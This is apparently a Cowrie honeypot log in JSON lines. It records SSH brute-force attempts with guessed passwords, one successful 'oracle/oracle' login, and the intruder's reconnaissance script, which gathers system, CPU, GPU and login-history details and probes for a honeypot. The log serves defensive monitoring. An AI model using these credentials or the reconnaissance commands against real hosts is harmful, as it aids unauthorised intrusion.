{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:22.070686Z","src_ip":"101.32.145.199","session":"a6dbdebddce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.09189033508301,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:38.830618Z","src_ip":"94.23.66.112","session":"f3ca5509f802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":40612,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4222f0dd4d9","protocol":"ssh","message":"New connection: 222.108.100.117:40612 (10.17.0.5:22) [session: a4222f0dd4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:54.479677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:54.483605Z","src_ip":"222.108.100.117","session":"a4222f0dd4d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:54.702747Z","src_ip":"222.108.100.117","session":"a4222f0dd4d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin111!","message":"login attempt [root/Admin111!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:55.562170Z","src_ip":"222.108.100.117","session":"a4222f0dd4d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:56.774081Z","src_ip":"222.108.100.117","session":"a4222f0dd4d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55882,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ddc8d5a78f","protocol":"ssh","message":"New connection: 103.172.78.219:55882 (10.17.0.5:22) [session: a4ddc8d5a78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:07.427448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:07.431613Z","src_ip":"103.172.78.219","session":"a4ddc8d5a78f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:07.698931Z","src_ip":"103.172.78.219","session":"a4ddc8d5a78f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"191181","message":"login attempt [root/191181] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:08.503932Z","src_ip":"103.172.78.219","session":"a4ddc8d5a78f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:09.774331Z","src_ip":"103.172.78.219","session":"a4ddc8d5a78f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":35774,"dst_ip":"159.203.135.109","dst_port":22,"session":"e56d3a24a52d","protocol":"ssh","message":"New connection: 77.237.244.154:35774 (159.203.135.109:22) [session: e56d3a24a52d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:20.067253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:20.071940Z","src_ip":"77.237.244.154","session":"e56d3a24a52d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:20.167999Z","src_ip":"77.237.244.154","session":"e56d3a24a52d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein#@!$%^&*()!","message":"login attempt [root/letmein#@!$%^&*()!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:20.462480Z","src_ip":"77.237.244.154","session":"e56d3a24a52d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:21.565214Z","src_ip":"77.237.244.154","session":"e56d3a24a52d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":37232,"dst_ip":"10.17.0.5","dst_port":22,"session":"f50cb77f290a","protocol":"ssh","message":"New connection: 195.86.192.66:37232 (10.17.0.5:22) [session: f50cb77f290a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:25.496199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:25.500832Z","src_ip":"195.86.192.66","session":"f50cb77f290a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:25.726683Z","src_ip":"195.86.192.66","session":"f50cb77f290a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ta123456","message":"login attempt [root/Ta123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:26.666660Z","src_ip":"195.86.192.66","session":"f50cb77f290a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:27.897536Z","src_ip":"195.86.192.66","session":"f50cb77f290a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":58338,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb3156e5800b","protocol":"ssh","message":"New connection: 157.230.18.133:58338 (159.203.135.109:22) [session: cb3156e5800b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:42.076467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:42.080748Z","src_ip":"157.230.18.133","session":"cb3156e5800b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:42.166755Z","src_ip":"157.230.18.133","session":"cb3156e5800b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"offsite","password":"offsite123","message":"login attempt [offsite/offsite123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:42.541292Z","src_ip":"157.230.18.133","session":"cb3156e5800b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":52300,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc0d2b9a2c9f","protocol":"ssh","message":"New connection: 91.92.40.4:52300 (10.17.0.5:22) [session: dc0d2b9a2c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:43.138335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:43.488291Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:43.491321Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:43.629372Z","src_ip":"157.230.18.133","session":"cb3156e5800b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:43.922106Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.361359Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.363884Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.366714Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.369249Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.371902Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.375488Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.377801Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.380208Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.382719Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.386232Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
